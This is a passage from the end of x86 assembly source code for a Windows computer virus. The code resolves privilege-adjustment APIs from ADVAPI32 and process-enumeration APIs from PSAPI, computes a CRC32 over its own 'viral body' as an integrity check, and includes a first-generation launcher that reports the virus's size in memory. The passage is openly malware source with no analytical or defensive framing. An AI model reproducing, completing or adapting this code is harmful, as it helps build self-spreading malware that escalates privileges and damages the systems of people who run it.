dd offset _CreateFileMappingA-Start
|
||
dd offset _MapViewOfFile-Start
|
||
dd offset _UnmapViewOfFile-Start
|
||
dd offset _CreateFileW-Start
|
||
|
||
CRC32: push ecx ;procedure for calculating CRC32s
|
||
push edx ;at run-time
|
||
push ebx
|
||
xor ecx,ecx
|
||
dec ecx
|
||
mov edx,ecx
|
||
NextByteCRC:
|
||
xor eax,eax
|
||
xor ebx,ebx
|
||
lodsb
|
||
xor al,cl
|
||
mov cl,ch
|
||
mov ch,dl
|
||
mov dl,dh
|
||
mov dh,8
|
||
NextBitCRC:
|
||
shr bx,1
|
||
rcr ax,1
|
||
jnc NoCRC
|
||
xor ax,08320h
|
||
xor bx,0EDB8h
|
||
NoCRC: dec dh
|
||
jnz NextBitCRC
|
||
xor ecx,eax
|
||
xor edx,ebx
|
||
dec edi
|
||
jne NextByteCRC
|
||
not edx
|
||
not ecx
|
||
pop ebx
|
||
mov eax,edx
|
||
rol eax,16
|
||
mov ax,cx
|
||
pop edx
|
||
pop ecx
|
||
ret
|
||
|
||
;get addressez of ADVAPI32 APIz
|
||
|
||
advapi_apiz Proc
|
||
@pushsz 'ADVAPI32'
|
||
mov eax,12345678h
|
||
_LoadLibraryA = dword ptr $-4
|
||
call eax ;load ADVAPI32
|
||
xchg eax,ebx
|
||
mov [ebp + _advapi32 - gdelta],ebx
|
||
|
||
@pushsz 'OpenProcessToken'
|
||
push ebx
|
||
mov esi,12345678h
|
||
_GetProcAddress = dword ptr $-4
|
||
call esi
|
||
mov [ebp + _OpenProcessToken - gdelta],eax
|
||
;save API address
|
||
@pushsz 'LookupPrivilegeValueA'
|
||
push ebx
|
||
call esi
|
||
mov [ebp + _LookupPrivilegeValueA - gdelta],eax
|
||
;--- " " ---
|
||
@pushsz 'AdjustTokenPrivileges'
|
||
push ebx
|
||
call esi
|
||
mov [ebp + _AdjustTokenPrivileges - gdelta],eax
|
||
;--- " " ---
|
||
ret
|
||
advapi_apiz EndP
|
||
|
||
;get addressez of PSAPI APIz
|
||
|
||
psapi_apiz Proc
|
||
@pushsz 'PSAPI'
|
||
call [ebp + _LoadLibraryA - gdelta] ;load PSAPI
|
||
xchg eax,ebx
|
||
mov [ebp + _psapi - gdelta],ebx
|
||
@pushsz 'EnumProcesses'
|
||
push ebx
|
||
call esi
|
||
mov [ebp + _EnumProcesses - gdelta],eax
|
||
;save API address
|
||
@pushsz 'EnumProcessModules'
|
||
push ebx
|
||
call esi
|
||
mov [ebp + _EnumProcessModules - gdelta],eax
|
||
;--- " " ---
|
||
|
||
@pushsz 'GetModuleBaseNameA'
|
||
push ebx
|
||
call esi
|
||
mov [ebp + _GetModuleBaseNameA - gdelta],eax
|
||
;--- " " ---
|
||
|
||
@pushsz 'EnumProcesses'
|
||
push ebx
|
||
call esi
|
||
mov [ebp + _EnumProcesses - gdelta],eax
|
||
;--- " " ---
|
||
ret
|
||
psapi_apiz EndP
|
||
|
||
token_priv dd 1
|
||
p_luid dq ?
|
||
dd 2
|
||
procz dd 80h dup (?)
|
||
dd ?
|
||
modz dd ?
|
||
mod_name db MAX_PATH dup (?)
|
||
p_token dd ?
|
||
tmp dd ?
|
||
|
||
check_crc32:
|
||
pop esi
|
||
mov edi,check_crc32-protected
|
||
call CRC32 ;calculate CRC32 for viral body
|
||
cmp eax,0D620301Eh
|
||
jne end_seh ;quit if does not match
|
||
jmp protected
|
||
virtual_end:
|
||
|
||
.code ;first generation code
|
||
FirstGeneration:
|
||
|
||
jmp Start
|
||
|
||
;virtual size of virus
|
||
db 0dh,0ah,'Virus size in memory: '
|
||
db '0'+((virtual_end-rtStart)/1000) mod 10
|
||
db '0'+((virtual_end-rtStart)/100) mod 10
|
||
db '0'+((virtual_end-rtStart)/10) mod 10
|
||
db '0'+((virtual_end-rtStart)/1) mod 10
|
||
db 0dh,0ah
|
||
ends
|
||
End FirstGeneration
|